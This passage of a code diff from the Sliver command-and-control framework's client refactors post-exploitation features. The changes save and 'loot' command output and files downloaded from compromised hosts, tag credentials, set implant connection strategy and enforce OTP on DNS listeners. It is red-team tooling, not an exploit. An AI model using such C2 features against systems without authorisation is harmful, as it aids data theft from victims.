args := ctx.Args.StringList("arguments")
|
||||
|
||||
output := ctx.Flags.Bool("output")
|
||||
if !output {
|
||||
@@ -111,17 +141,14 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
|
||||
return
|
||||
}
|
||||
|
||||
combined := ""
|
||||
if stdout == "" {
|
||||
combined = string(exec.Stdout)
|
||||
con.PrintInfof("Output:\n%s", combined)
|
||||
con.PrintInfof("Output:\n%s", string(exec.Stdout))
|
||||
} else {
|
||||
con.PrintInfof("Stdout saved at %s\n", stdout)
|
||||
}
|
||||
|
||||
if stderr == "" {
|
||||
if !ignoreStderr && 0 < len(exec.Stderr) {
|
||||
combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
|
||||
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
|
||||
}
|
||||
} else {
|
||||
@@ -131,13 +158,96 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
|
||||
if exec.Status != 0 {
|
||||
con.PrintErrorf("Exited with status %d!\n", exec.Status)
|
||||
}
|
||||
if saveLoot && 0 < len(combined) {
|
||||
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
|
||||
err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Output saved as loot\n")
|
||||
}
|
||||
|
||||
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.Hostname
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.Hostname
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func determineCommandName(command string) string {
|
||||
commandName := strings.ReplaceAll(command, "\\", "/")
|
||||
|
||||
commandName = commandName[strings.LastIndex(commandName, "/")+1:]
|
||||
|
||||
if strings.Contains(commandName, ".") {
|
||||
commandName = commandName[:strings.LastIndex(commandName, ".")]
|
||||
}
|
||||
|
||||
return commandName
|
||||
}
|
||||
|
||||
func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStdErr bool) []byte {
|
||||
var outputString string = ""
|
||||
|
||||
if combineStdOut {
|
||||
outputString += "Output (stdout):\n" + string(exec.Stdout)
|
||||
}
|
||||
|
||||
if combineStdErr {
|
||||
if combineStdOut {
|
||||
outputString += "\n"
|
||||
}
|
||||
outputString += "Stderr:\n" + string(exec.Stderr)
|
||||
}
|
||||
|
||||
return []byte(outputString)
|
||||
}
|
||||
|
||||
func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
|
||||
if len(commandOutput) == 0 {
|
||||
con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
|
||||
return
|
||||
}
|
||||
|
||||
timeNow := time.Now().UTC().Format("20060102150405")
|
||||
|
||||
shortCommandName := determineCommandName(cmdName)
|
||||
|
||||
fileName := fmt.Sprintf("%s_%s_%s_%s.log", sliverCmdName, hostName, shortCommandName, timeNow)
|
||||
if lootName == "" {
|
||||
lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
|
||||
}
|
||||
|
||||
lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_TEXT, commandOutput)
|
||||
loot.SendLootMessage(lootMessage, con)
|
||||
}
|
||||
|
||||
func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Output:\n%s", executionOutput)
|
||||
|
||||
if saveOutput {
|
||||
SaveExecutionOutput(executionOutput, commandName, hostName, con)
|
||||
}
|
||||
}
|
||||
|
||||
func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
|
||||
var outFilePath *os.File
|
||||
var err error
|
||||
|
||||
if len(executionOutput) == 0 {
|
||||
con.PrintInfof("There was no output from execution, so there is nothing to save.")
|
||||
return
|
||||
}
|
||||
|
||||
timeNow := time.Now().UTC().Format("20060102150405")
|
||||
|
||||
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
|
||||
|
||||
outFilePath, err = ioutil.TempFile("", outFileName)
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(executionOutput))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
@@ -22,7 +22,6 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
@@ -70,7 +69,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
hostname := getHostname(session, beacon)
|
||||
hostName := getHostname(session, beacon)
|
||||
if sideload.Response != nil && sideload.Response.Async {
|
||||
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, sideload)
|
||||
@@ -78,34 +77,27 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSideload(sideload, hostname, ctx, con)
|
||||
|
||||
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sideload.Response)
|
||||
} else {
|
||||
PrintSideload(sideload, hostname, ctx, con)
|
||||
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSideload - Print the sideload command output
|
||||
func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
|
||||
if sideload.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
var err error
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", sideload.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideload.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
PrintExecutionOutput(sideload.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
|
||||
|
||||
if saveLoot {
|
||||
LootExecute([]byte(sideload.Result), lootName, ctx.Command.Name, binPath, hostName, con)
|
||||
}
|
||||
}
|
||||
@@ -4,8 +4,6 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -48,7 +46,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
hostname := getHostname(session, beacon)
|
||||
hostName := getHostname(session, beacon)
|
||||
if spawndll.Response != nil && spawndll.Response.Async {
|
||||
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, spawndll)
|
||||
@@ -56,34 +54,27 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSpawnDll(spawndll, hostname, ctx, con)
|
||||
|
||||
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(spawndll.Response)
|
||||
} else {
|
||||
PrintSpawnDll(spawndll, hostname, ctx, con)
|
||||
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSpawnDll - Print the SpawnDll command response
|
||||
func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
|
||||
if spawndll.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
var err error
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", spawndll.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawndll.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
PrintExecutionOutput(spawndll.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
|
||||
|
||||
if saveLoot {
|
||||
LootExecute([]byte(spawndll.GetResult()), lootName, ctx.Command.Name, binPath, hostName, con)
|
||||
}
|
||||
}
|
||||
@@ -19,19 +19,17 @@ package filesystem
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/alecthomas/chroma/formatters"
|
||||
"github.com/alecthomas/chroma/lexers"
|
||||
"github.com/alecthomas/chroma/styles"
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
@@ -49,43 +47,42 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
})
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
userLootType := ctx.Flags.String("type")
|
||||
userLootFileType := ctx.Flags.String("file-type")
|
||||
var lootDownload bool = true
|
||||
|
||||
download, err := PerformDownload(filePath, filepath.Base(filePath), "console", ctx, con)
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintCat(download, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
PrintCat(download, ctx, con)
|
||||
|
||||
if saveLoot {
|
||||
lootType, err := loot.ValidateLootType(userLootType)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
// Even if the loot type is bad, we can still print the result to the screen
|
||||
// We will not loot it though
|
||||
lootDownload = false
|
||||
}
|
||||
fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
|
||||
|
||||
if lootDownload {
|
||||
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
|
||||
con.Printf("\n")
|
||||
}
|
||||
}
|
||||
|
||||
PrintCat(download, ctx, con)
|
||||
}
|
||||
|
||||
// PrintCat - Print the download to stdout
|
||||
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if ctx.Flags.Bool("colorize-output") {
|
||||
if err = colorize(download); err != nil {
|
||||
con.Println(string(download.Data))
|
||||
|
||||
@@ -24,8 +24,10 @@ import (
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -35,6 +37,42 @@ import (
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func PerformDownload(remotePath string, fileName string, destination string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, destination), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
}
|
||||
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
return download, fmt.Errorf("%s\n", download.Response.Err)
|
||||
}
|
||||
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("Decoding failed %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
return download, nil
|
||||
}
|
||||
|
||||
// DownloadCmd - Download a file from the remote system
|
||||
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
@@ -47,38 +85,50 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
src := remotePath
|
||||
fileName := filepath.Base(src)
|
||||
dst, _ := filepath.Abs(localPath)
|
||||
fi, err := os.Stat(dst)
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if err == nil && fi.IsDir() {
|
||||
dst = path.Join(dst, fileName)
|
||||
var dst string
|
||||
var err error
|
||||
var lootType clientpb.LootType
|
||||
var fileType clientpb.FileType
|
||||
var lootName string = ""
|
||||
|
||||
if ctx.Flags.Bool("loot") {
|
||||
// The destination is the loot store.
|
||||
dst = "loot"
|
||||
lootName = ctx.Flags.String("name")
|
||||
|
||||
lootType, err = loot.ValidateLootType(ctx.Flags.String("type"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// Determine file type after the download is complete
|
||||
} else {
|
||||
// If this download is not being looted, make sure the local path exists
|
||||
dst, err = filepath.Abs(localPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
fi, err := os.Stat(dst)
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if err == nil && fi.IsDir() {
|
||||
dst = path.Join(dst, fileName)
|
||||
}
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
download, err := PerformDownload(src, fileName, dst, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintDownload(download, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
|
||||
if dst == "loot" {
|
||||
// Hand off to the loot package to take care of looting
|
||||
fileType = loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
|
||||
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
|
||||
} else {
|
||||
PrintDownload(download, ctx, con)
|
||||
}
|
||||
@@ -96,7 +146,12 @@ func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *conso
|
||||
|
||||
src := remotePath
|
||||
fileName := filepath.Base(src)
|
||||
dst, _ := filepath.Abs(localPath)
|
||||
dst, err := filepath.Abs(localPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
fi, err := os.Stat(dst)
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
@@ -105,6 +160,12 @@ func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *conso
|
||||
if err == nil && fi.IsDir() {
|
||||
dst = path.Join(dst, fileName)
|
||||
}
|
||||
|
||||
// Add an extension to a directory download if one is not provided.
|
||||
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") || !strings.HasSuffix(dst, ".tar.gz")) {
|
||||
dst += ".tar.gz"
|
||||
}
|
||||
|
||||
if _, err := os.Stat(dst); err == nil {
|
||||
overwrite := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite local file?"}
|
||||
@@ -113,13 +174,7 @@ func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *conso
|
||||
return
|
||||
}
|
||||
}
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Decoding failed %s", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
dstFile, err := os.Create(dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
|
||||
|
||||
@@ -38,7 +38,17 @@ func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, co
|
||||
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
|
||||
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
|
||||
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
|
||||
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
|
||||
|
||||
/*
|
||||
If seconds has not been specified but any of the other time units have, then do not add
|
||||
the default 60 seconds to the interval.
|
||||
|
||||
If seconds have been specified, then add them regardless.
|
||||
*/
|
||||
if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
|
||||
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
|
||||
}
|
||||
|
||||
if interval < minBeaconInterval {
|
||||
return ErrBeaconIntervalTooShort
|
||||
}
|
||||
|
||||
@@ -305,6 +305,13 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
|
||||
}
|
||||
|
||||
// TODO: Use generics or something to check in a slice
|
||||
connectionStrategy := ctx.Flags.String("strategy")
|
||||
if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
|
||||
con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
|
||||
return nil
|
||||
}
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: targetOS,
|
||||
GOARCH: targetArch,
|
||||
@@ -319,6 +326,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
|
||||
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
|
||||
|
||||
ConnectionStrategy: connectionStrategy,
|
||||
ReconnectInterval: int64(reconnectInterval) * int64(time.Second),
|
||||
PollTimeout: int64(pollTimeout) * int64(time.Second),
|
||||
MaxConnectionErrors: uint32(maxConnectionErrors),
|
||||
|
||||
@@ -31,9 +31,9 @@ import (
|
||||
func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
domains := strings.Split(ctx.Flags.String("domains"), ",")
|
||||
for _, domain := range domains {
|
||||
for index, domain := range domains {
|
||||
if !strings.HasSuffix(domain, ".") {
|
||||
domain += "."
|
||||
domains[index] += "."
|
||||
}
|
||||
}
|
||||
|
||||
@@ -47,6 +47,7 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Port: uint32(lport),
|
||||
Canaries: !ctx.Flags.Bool("no-canaries"),
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
EnforceOTP: !ctx.Flags.Bool("disable-otp"),
|
||||
})
|
||||
con.Println()
|
||||
if err != nil {
|
||||
|
||||
@@ -176,7 +176,11 @@ func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot
|
||||
buf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
|
||||
for _, loot := range allLoot.Loot {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
|
||||
if loot.Name == loot.File.Name {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, loot.File.Name, loot.Type, loot.LootID)
|
||||
}
|
||||
}
|
||||
table.Flush()
|
||||
options := strings.Split(buf.String(), "\n")
|
||||
|
||||
@@ -159,14 +159,15 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
fmt.Fprintln(table, "Type\tName\tUUID\t")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t\n",
|
||||
fmt.Fprintln(table, "Type\tName\tFile Name\tUUID\t")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Type")),
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("File Name")),
|
||||
strings.Repeat("=", len("UUID")),
|
||||
)
|
||||
for _, loot := range allLoot.Loot {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.LootID)
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.File.Name, loot.LootID)
|
||||
}
|
||||
|
||||
table.Flush()
|
||||
@@ -401,7 +402,7 @@ func isText(sample []byte) bool {
|
||||
// last char may be incomplete - ignore
|
||||
break
|
||||
}
|
||||
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' {
|
||||
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
|
||||
// decoding error or control character - not a text file
|
||||
return false
|
||||
}
|
||||
|
||||
+207
-67
@@ -19,9 +19,14 @@ package loot
|
||||
*/
|
||||
|
||||
import (
|
||||
"archive/tar"
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"context"
|
||||
"fmt"
|
||||
"path"
|
||||
"io"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -29,8 +34,198 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func ValidateLootType(lootTypeInput string) (clientpb.LootType, error) {
|
||||
var lootType clientpb.LootType
|
||||
var err error
|
||||
|
||||
if lootTypeInput != "" {
|
||||
lootType, err = lootTypeFromHumanStr(lootTypeInput)
|
||||
if err != nil {
|
||||
/*
|
||||
If we get an error, that means that this loot type was invalid.
|
||||
We will leave it up to the caller to handle the error (output it
|
||||
to the console for example)
|
||||
*/
|
||||
return lootType, fmt.Errorf("Invalid loot type %s", lootTypeInput)
|
||||
}
|
||||
} else {
|
||||
lootType = clientpb.LootType_LOOT_FILE
|
||||
}
|
||||
|
||||
return lootType, err
|
||||
}
|
||||
|
||||
func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileType {
|
||||
lootFileType, err := lootFileTypeFromHumanStr(lootFileTypeInput)
|
||||
if lootFileType == -1 || err != nil {
|
||||
if isText(data) {
|
||||
lootFileType = clientpb.FileType_TEXT
|
||||
} else {
|
||||
lootFileType = clientpb.FileType_BINARY
|
||||
}
|
||||
}
|
||||
|
||||
return lootFileType
|
||||
}
|
||||
|
||||
/*
|
||||
Eventually this function needs to be refactored out, but we made the decision to
|
||||
duplicate it for now
|
||||
*/
|
||||
func PerformDownload(remotePath string, fileName string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, "loot"), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
}
|
||||
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
return nil, fmt.Errorf("%s\n", download.Response.Err)
|
||||
}
|
||||
|
||||
// Decode the downloaded data if required
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("Decoding failed %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
return download, nil
|
||||
}
|
||||
|
||||
func CreateLootMessage(fileName string, lootName string, lootType clientpb.LootType, lootFileType clientpb.FileType, data []byte) *clientpb.Loot {
|
||||
if lootName == "" {
|
||||
lootName = fileName
|
||||
}
|
||||
|
||||
lootMessage := &clientpb.Loot{
|
||||
Name: lootName,
|
||||
Type: lootType,
|
||||
FileType: lootFileType,
|
||||
File: &commonpb.File{
|
||||
Name: fileName,
|
||||
Data: data,
|
||||
},
|
||||
}
|
||||
|
||||
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
|
||||
lootMessage.CredentialType = clientpb.CredentialType_FILE
|
||||
}
|
||||
|
||||
return lootMessage
|
||||
}
|
||||
|
||||
func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) {
|
||||
control := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Sending looted file (%s) to the server...", loot.Name), control)
|
||||
|
||||
loot, err := con.Rpc.LootAdd(context.Background(), loot)
|
||||
control <- true
|
||||
<-control
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
|
||||
if loot.Name != loot.File.Name {
|
||||
con.PrintInfof("Successfully looted %s (%s) (ID: %s)\n", loot.File.Name, loot.Name, loot.LootID)
|
||||
} else {
|
||||
con.PrintInfof("Successfully looted %s (ID: %s)\n", loot.Name, loot.LootID)
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func LootDownload(download *sliverpb.Download, lootName string, lootType clientpb.LootType, fileType clientpb.FileType, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Was the download successful?
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
